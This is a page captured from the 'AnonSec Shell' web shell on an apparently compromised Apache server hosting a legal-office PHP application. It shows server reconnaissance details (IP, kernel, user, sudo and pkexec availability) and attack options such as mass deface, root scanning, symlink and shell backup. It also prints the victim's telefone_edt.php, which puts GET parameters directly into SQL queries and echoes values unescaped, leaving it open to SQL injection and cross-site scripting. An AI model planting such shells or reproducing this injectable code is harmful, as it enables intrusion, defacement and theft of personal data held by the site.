AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/juridico/pacajus/horizonte/modulos/pessoa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/juridico/pacajus/horizonte/modulos/pessoa/telefone_edt.php
<?php
    $id    = $_GET['id'];
    $idend = $_GET['idend'];
    //$conn  = conexao::getInstance();
    $tipo  = $conn->query("select * from tipo_telefones ORDER by tipo");
    $tele  = $conn->query("select * from v_lista_pessoas_telefone where cod_pessoa='$id' AND codigo='$idend'");
    $t     = $tele->fetch(PDO::FETCH_OBJ);
?>
<script src="js/mascara.js" type="text/javascript"></script>
<form id="form2" name="form2" OnSubmit="showCarga()" method="post" action="?page=pessoa/telefone_crud&var=editar&idend=<?php echo $idend ?>">
    <div class="panel panel-primary active" align="center"><span style="font-size:18px; color: #060606">Telefone | <?php echo $t->nome ?></span></div>
    <div id="action">
        <input type="hidden" name="cod_pessoa" value="<?php echo $id ?>"/>

        <div class='col-lg-2 col-md-2 col-sm-2 col-xs-12'>
            Tipo
            <select name="cod_tipo_tel" class="form-control select2">
                <?php while ($itipo = $tipo->fetch(PDO::FETCH_OBJ)) {
                    if ($t->cod_tipo_tel==$itipo->codigo) {
                        $selected = 'selected';
                    } else {
                        $selected = '';
                    } ?>
                    <option value="<?php echo $itipo->codigo ?>"<?php echo $selected; ?>><?php echo $itipo->tipo ?></option>
                <?php } ?>
            </select>
        </div>
        <div class='col-xs-12 col-sm-5 col-md-5 col-lg-5'>
            <label for='telefone'>Telefone</label>
            <input type='text' class='form-control' maxlength="14" onkeyup="formataTelefone(this,event)" name='telefone' id='telefone' value="<?php echo $t->telefone ?>"/></div>
        <div class='col-xs-2 col-sm-2 col-md-2 col-lg-2'>
            <label for='ramal'>Ramal</label>
            <input type='text' class='form-control' maxlength="10" name='ramal' id='ramal' value="<?php echo $t->ramal ?>"/></div>
        <div class='col-xs-10 col-sm-10 col-md-10 col-lg-10'>
            <label for='contato'>Contato</label>
            <input type='text' class='form-control' maxlength="100" name='contato' id='contato' value="<?php echo $t->contato ?>"/></div>
        <div class='col-xs-2 col-sm-2 col-md-2 col-lg-2'>
            <label for='bt_novo'>&nbsp;</label>
            <br>
            <button type="submit" name="bt_novo" class="btn btn-primary form-control"><i class="glyphicon glyphicon-ok"></i></button>
        </div>
    </div>
</form>

Anon7 - 2022
AnonSec Team